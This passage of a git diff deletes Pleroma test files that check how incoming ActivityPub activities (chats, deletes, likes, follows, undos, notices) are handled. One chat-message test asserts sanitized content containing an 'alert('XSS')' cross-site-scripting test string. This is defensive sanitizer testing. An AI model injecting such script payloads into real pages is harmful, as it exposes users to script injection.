"298p3RG7j27tfsZ9RQ.jpg", - "summary" => "298p3RG7j27tfsZ9RQ.jpg", - "type" => "Document", - "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" - } - ], - "attributedTo" => "https://honk.tedunangst.com/u/tedu", - "content" => "", - "id" => "https://honk.tedunangst.com/u/tedu/chonk/26L4wl5yCbn4dr4y1b", - "published" => "2020-05-18T01:13:03Z", - "to" => [ - "https://dontbulling.me/users/lain" - ], - "type" => "ChatMessage" - }, - "published" => "2020-05-18T01:13:03Z", - "to" => [ - "https://dontbulling.me/users/lain" - ], - "type" => "Create" - } - - _user = insert(:user, ap_id: data["actor"]) - _user = insert(:user, ap_id: hd(data["to"])) - - assert {:ok, _activity} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages that don't contain content" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.delete("content") - - data = - data - |> Map.put("object", object) - - _author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - _recipient = - insert(:user, - ap_id: List.first(data["to"]), - local: true, - last_refreshed_at: DateTime.utc_now() - ) - - {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages that don't concern local users" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - _author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - _recipient = - insert(:user, - ap_id: List.first(data["to"]), - local: false, - last_refreshed_at: DateTime.utc_now() - ) - - {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it rejects messages where the `to` field of activity and object don't match" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - author = insert(:user, ap_id: data["actor"]) - _recipient = insert(:user, ap_id: List.first(data["to"])) - - data = - data - |> Map.put("to", author.ap_id) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - refute Object.get_by_ap_id(data["object"]["id"]) - end - - test "it fetches the actor if they aren't in our system" do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - |> Map.put("actor", "http://mastodon.example.org/users/admin") - |> put_in(["object", "actor"], "http://mastodon.example.org/users/admin") - - _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - {:ok, %Activity{} = _activity} = Transmogrifier.handle_incoming(data) - end - - test "it doesn't work for deactivated users" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - _author = - insert(:user, - ap_id: data["actor"], - local: false, - last_refreshed_at: DateTime.utc_now(), - deactivated: true - ) - - _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it inserts it and creates a chat" do - data = - File.read!("test/fixtures/create-chat-message.json") - |> Poison.decode!() - - author = - insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) - - recipient = insert(:user, ap_id: List.first(data["to"]), local: true) - - {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(data) - assert activity.local == false - - assert activity.actor == author.ap_id - assert activity.recipients == [recipient.ap_id, author.ap_id] - - %Object{} = object = Object.get_by_ap_id(activity.data["object"]) - - assert object - assert object.data["content"] == "You expected a cute girl? Too bad. alert('XSS')" - assert match?(%{"firefox" => _}, object.data["emoji"]) - - refute Chat.get(author.id, recipient.ap_id) - assert Chat.get(recipient.id, author.ap_id) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/delete_handling_test.exs b/test/web/activity_pub/transmogrifier/delete_handling_test.exs deleted file mode 100644 index c9a53918c..000000000 --- a/test/web/activity_pub/transmogrifier/delete_handling_test.exs +++ /dev/null @@ -1,114 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.DeleteHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "it works for incoming deletes" do - activity = insert(:note_activity) - deleting_user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", deleting_user.ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = - Transmogrifier.handle_incoming(data) - - assert id == data["id"] - - # We delete the Create activity because we base our timelines on it. - # This should be changed after we unify objects and activities - refute Activity.get_by_id(activity.id) - assert actor == deleting_user.ap_id - - # Objects are replaced by a tombstone object. - object = Object.normalize(activity.data["object"]) - assert object.data["type"] == "Tombstone" - end - - test "it works for incoming when the object has been pruned" do - activity = insert(:note_activity) - - {:ok, object} = - Object.normalize(activity.data["object"]) - |> Repo.delete() - - Cachex.del(:object_cache, "object:#{object.data["id"]}") - - deleting_user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", deleting_user.ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = - Transmogrifier.handle_incoming(data) - - assert id == data["id"] - - # We delete the Create activity because we base our timelines on it. - # This should be changed after we unify objects and activities - refute Activity.get_by_id(activity.id) - assert actor == deleting_user.ap_id - end - - test "it fails for incoming deletes with spoofed origin" do - activity = insert(:note_activity) - %{ap_id: ap_id} = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") - - data = - File.read!("test/fixtures/mastodon-delete.json") - |> Poison.decode!() - |> Map.put("actor", ap_id) - |> put_in(["object", "id"], activity.data["object"]) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - end - - @tag capture_log: true - test "it works for incoming user deletes" do - %{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - - data = - File.read!("test/fixtures/mastodon-delete-user.json") - |> Poison.decode!() - - {:ok, _} = Transmogrifier.handle_incoming(data) - ObanHelpers.perform_all() - - assert User.get_cached_by_ap_id(ap_id).deactivated - end - - test "it fails for incoming user deletes with spoofed origin" do - %{ap_id: ap_id} = insert(:user) - - data = - File.read!("test/fixtures/mastodon-delete-user.json") - |> Poison.decode!() - |> Map.put("actor", ap_id) - - assert match?({:error, _}, Transmogrifier.handle_incoming(data)) - - assert User.get_cached_by_ap_id(ap_id) - end -end diff --git a/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs b/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs deleted file mode 100644 index 0fb056b50..000000000 --- a/test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs +++ /dev/null @@ -1,61 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.EmojiReactHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming emoji reactions" do - user = insert(:user) - other_user = insert(:user, local: false) - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/emoji-reaction.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == other_user.ap_id - assert data["type"] == "EmojiReact" - assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2" - assert data["object"] == activity.data["object"] - assert data["content"] == "👌" - - object = Object.get_by_ap_id(data["object"]) - - assert object.data["reaction_count"] == 1 - assert match?([["👌", _]], object.data["reactions"]) - end - - test "it reject invalid emoji reactions" do - user = insert(:user) - other_user = insert(:user, local: false) - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/emoji-reaction-too-long.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - - data = - File.read!("test/fixtures/emoji-reaction-no-emoji.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", other_user.ap_id) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end -end diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs deleted file mode 100644 index 757d90941..000000000 --- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs +++ /dev/null @@ -1,208 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - import Ecto.Query - import Mock - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "handle_incoming" do - setup do: clear_config([:user, :deny_follow_blocked]) - - test "it works for osada follow request" do - user = insert(:user) - - data = - File.read!("test/fixtures/osada-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://apfed.club/channel/indio" - assert data["type"] == "Follow" - assert data["id"] == "https://apfed.club/follow/9" - - activity = Repo.get(Activity, activity.id) - assert activity.data["state"] == "accept" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming follow requests" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Follow" - assert data["id"] == "http://mastodon.example.org/users/admin#follows/2" - - activity = Repo.get(Activity, activity.id) - assert activity.data["state"] == "accept" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - - [notification] = Notification.for_user(user) - assert notification.type == "follow" - end - - test "with locked accounts, it does create a Follow, but not an Accept" do - user = insert(:user, locked: true) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["state"] == "pending" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert Enum.empty?(accepts) - - [notification] = Notification.for_user(user) - assert notification.type == "follow_request" - end - - test "it works for follow requests when you are already followed, creating a new accept activity" do - # This is important because the remote might have the wrong idea about the - # current follow status. This can lead to instance A thinking that x@A is - # followed by y@B, but B thinks they are not. In this case, the follow can - # never go through again because it will never get an Accept. - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert length(accepts) == 1 - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("id", String.replace(data["id"], "2", "3")) - |> Map.put("object", user.ap_id) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - - accepts = - from( - a in Activity, - where: fragment("?->>'type' = ?", a.data, "Accept") - ) - |> Repo.all() - - assert length(accepts) == 2 - end - - test "it rejects incoming follow requests from blocked users when deny_follow_blocked is enabled" do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - - user = insert(:user) - {:ok, target} = User.get_or_fetch("http://mastodon.example.org/users/admin") - - {:ok, _user_relationship} = User.block(user, target) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) - - %Activity{} = activity = Activity.get_by_ap_id(id) - - assert activity.data["state"] == "reject" - end - - test "it rejects incoming follow requests if the following errors for some reason" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - with_mock Pleroma.User, [:passthrough], follow: fn _, _, _ -> {:error, :testing} end do - {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) - - %Activity{} = activity = Activity.get_by_ap_id(id) - - assert activity.data["state"] == "reject" - end - end - - test "it works for incoming follow requests from hubzilla" do - user = insert(:user) - - data = - File.read!("test/fixtures/hubzilla-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - |> Utils.normalize_params() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://hubzilla.example.org/channel/kaniini" - assert data["type"] == "Follow" - assert data["id"] == "https://hubzilla.example.org/channel/kaniini#follows/2" - assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming follows to locked account" do - pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - user = insert(:user, locked: true) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Follow" - assert data["object"] == user.ap_id - assert data["state"] == "pending" - assert data["actor"] == "http://mastodon.example.org/users/admin" - - assert [^pending_follower] = User.get_follow_requests(user) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/like_handling_test.exs b/test/web/activity_pub/transmogrifier/like_handling_test.exs deleted file mode 100644 index 53fe1d550..000000000 --- a/test/web/activity_pub/transmogrifier/like_handling_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.LikeHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming likes" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - refute Enum.empty?(activity.recipients) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Like" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2" - assert data["object"] == activity.data["object"] - end - - test "it works for incoming misskey likes, turning them into EmojiReacts" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/misskey-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) - - assert activity_data["actor"] == data["actor"] - assert activity_data["type"] == "EmojiReact" - assert activity_data["id"] == data["id"] - assert activity_data["object"] == activity.data["object"] - assert activity_data["content"] == "🍮" - end - - test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReacts" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - - data = - File.read!("test/fixtures/misskey-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("_misskey_reaction", "⭐") - - _actor = insert(:user, ap_id: data["actor"], local: false) - - {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) - - assert activity_data["actor"] == data["actor"] - assert activity_data["type"] == "EmojiReact" - assert activity_data["id"] == data["id"] - assert activity_data["object"] == activity.data["object"] - assert activity_data["content"] == "⭐" - end -end diff --git a/test/web/activity_pub/transmogrifier/undo_handling_test.exs b/test/web/activity_pub/transmogrifier/undo_handling_test.exs deleted file mode 100644 index 8683f7135..000000000 --- a/test/web/activity_pub/transmogrifier/undo_handling_test.exs +++ /dev/null @@ -1,185 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.UndoHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming emoji reaction undos" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) - {:ok, reaction_activity} = CommonAPI.react_with_emoji(activity.id, user, "👌") - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", reaction_activity.data["id"]) - |> Map.put("actor", user.ap_id) - - {:ok, activity} = Transmogrifier.handle_incoming(data) - - assert activity.actor == user.ap_id - assert activity.data["id"] == data["id"] - assert activity.data["type"] == "Undo" - end - - test "it returns an error for incoming unlikes wihout a like activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - assert Transmogrifier.handle_incoming(data) == :error - end - - test "it works for incoming unlikes with an existing like activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - like_data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _liker = insert(:user, ap_id: like_data["actor"], local: false) - - {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", like_data) - |> Map.put("actor", like_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Undo" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" - assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" - - note = Object.get_by_ap_id(like_data["object"]) - assert note.data["like_count"] == 0 - assert note.data["likes"] == [] - end - - test "it works for incoming unlikes with an existing like activity and a compact object" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) - - like_data = - File.read!("test/fixtures/mastodon-like.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _liker = insert(:user, ap_id: like_data["actor"], local: false) - - {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) - - data = - File.read!("test/fixtures/mastodon-undo-like.json") - |> Poison.decode!() - |> Map.put("object", like_data["id"]) - |> Map.put("actor", like_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Undo" - assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" - assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" - end - - test "it works for incoming unannounces with an existing notice" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - announce_data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _announcer = insert(:user, ap_id: announce_data["actor"], local: false) - - {:ok, %Activity{data: announce_data, local: false}} = - Transmogrifier.handle_incoming(announce_data) - - data = - File.read!("test/fixtures/mastodon-undo-announce.json") - |> Poison.decode!() - |> Map.put("object", announce_data) - |> Map.put("actor", announce_data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - - assert data["object"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - end - - test "it works for incoming unfollows with an existing follow" do - user = insert(:user) - - follow_data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - _follower = insert(:user, ap_id: follow_data["actor"], local: false) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) - - data = - File.read!("test/fixtures/mastodon-unfollow-activity.json") - |> Poison.decode!() - |> Map.put("object", follow_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - assert data["object"]["type"] == "Follow" - assert data["object"]["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it works for incoming unblocks with an existing block" do - user = insert(:user) - - block_data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - _blocker = insert(:user, ap_id: block_data["actor"], local: false) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data) - - data = - File.read!("test/fixtures/mastodon-unblock-activity.json") - |> Poison.decode!() - |> Map.put("object", block_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - assert data["type"] == "Undo" - assert data["object"] == block_data["id"] - - blocker = User.get_cached_by_ap_id(data["actor"]) - - refute User.blocks?(blocker, user) - end -end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs deleted file mode 100644 index 561674f01..000000000 --- a/test/web/activity_pub/transmogrifier_test.exs +++ /dev/null @@ -1,1220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Mock - import Pleroma.Factory - import ExUnit.CaptureLog - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :max_remote_account_fields]) - - describe "handle_incoming" do - test "it works for incoming notices with tag not being an array (kroeg)" do - data = File.read!("test/fixtures/kroeg-array-less-emoji.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["emoji"] == %{ - "icon_e_smile" => "https://puckipedia.com/forum/images/smilies/icon_e_smile.png" - } - - data = File.read!("test/fixtures/kroeg-array-less-hashtag.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert "test" in object.data["tag"] - end - - test "it cleans up incoming notices which are not really DMs" do - user = insert(:user) - other_user = insert(:user) - - to = [user.ap_id, other_user.ap_id] - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("to", to) - |> Map.put("cc", []) - - object = - data["object"] - |> Map.put("to", to) - |> Map.put("cc", []) - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert data["to"] == [] - assert data["cc"] == to - - object_data = Object.normalize(activity).data - - assert object_data["to"] == [] - assert object_data["cc"] == to - end - - test "it ignores an incoming notice if we already have it" do - activity = insert(:note_activity) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("object", Object.normalize(activity).data) - - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - - assert activity == returned_activity - end - - @tag capture_log: true - test "it fetches reply-to activities if we don't have them" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") - - data = Map.put(data, "object", object) - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - returned_object = Object.normalize(returned_activity, false) - - assert activity = - Activity.get_create_by_object_ap_id( - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - - assert returned_object.data["inReplyTo"] == - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - end - - test "it does not fetch reply-to activities beyond max replies depth limit" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") - - data = Map.put(data, "object", object) - - with_mock Pleroma.Web.Federator, - allowed_thread_distance?: fn _ -> false end do - {:ok, returned_activity} = Transmogrifier.handle_incoming(data) - - returned_object = Object.normalize(returned_activity, false) - - refute Activity.get_create_by_object_ap_id( - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" - ) - - assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" - end - end - - test "it does not crash if the object in inReplyTo can't be fetched" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - object = - data["object"] - |> Map.put("inReplyTo", "https://404.site/whatever") - - data = - data - |> Map.put("object", object) - - assert capture_log(fn -> - {:ok, _returned_activity} = Transmogrifier.handle_incoming(data) - end) =~ "[warn] Couldn't fetch \"https://404.site/whatever\", error: nil" - end - - test "it does not work for deactivated users" do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - insert(:user, ap_id: data["actor"], deactivated: true) - - assert {:error, _} = Transmogrifier.handle_incoming(data) - end - - test "it works for incoming notices" do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity" - - assert data["context"] == - "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" - - assert data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert data["cc"] == [ - "http://mastodon.example.org/users/admin/followers", - "http://localtesting.pleroma.lol/users/lain" - ] - - assert data["actor"] == "http://mastodon.example.org/users/admin" - - object_data = Object.normalize(data["object"]).data - - assert object_data["id"] == - "http://mastodon.example.org/users/admin/statuses/99512778738411822" - - assert object_data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert object_data["cc"] == [ - "http://mastodon.example.org/users/admin/followers", - "http://localtesting.pleroma.lol/users/lain" - ] - - assert object_data["actor"] == "http://mastodon.example.org/users/admin" - assert object_data["attributedTo"] == "http://mastodon.example.org/users/admin" - - assert object_data["context"] == - "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" - - assert object_data["sensitive"] == true - - user = User.get_cached_by_ap_id(object_data["actor"]) - - assert user.note_count == 1 - end - - test "it works for incoming notices with hashtags" do - data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert Enum.at(object.data["tag"], 2) == "moo" - end - - test "it works for incoming notices with contentMap" do - data = - File.read!("test/fixtures/mastodon-post-activity-contentmap.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["content"] == - "<p><span class=\"h-card\"><a href=\"http://localtesting.pleroma.lol/users/lain\" class=\"u-url mention\">@<span>lain</span></a></span></p>" - end - - test "it works for incoming notices with to/cc not being an array (kroeg)" do - data = File.read!("test/fixtures/kroeg-post-activity.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["content"] == - "<p>henlo from my Psion netBook</p><p>message sent from my Psion netBook</p>" - end - - test "it ensures that as:Public activities make it to their followers collection" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) - |> Map.put("cc", []) - - object = - data["object"] - |> Map.put("attributedTo", user.ap_id) - |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) - |> Map.put("cc", []) - |> Map.put("id", user.ap_id <> "/activities/12345678") - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["cc"] == [User.ap_followers(user)] - end - - test "it ensures that address fields become lists" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> Map.put("to", nil) - |> Map.put("cc", nil) - - object = - data["object"] - |> Map.put("attributedTo", user.ap_id) - |> Map.put("to", nil) - |> Map.put("cc", nil) - |> Map.put("id", 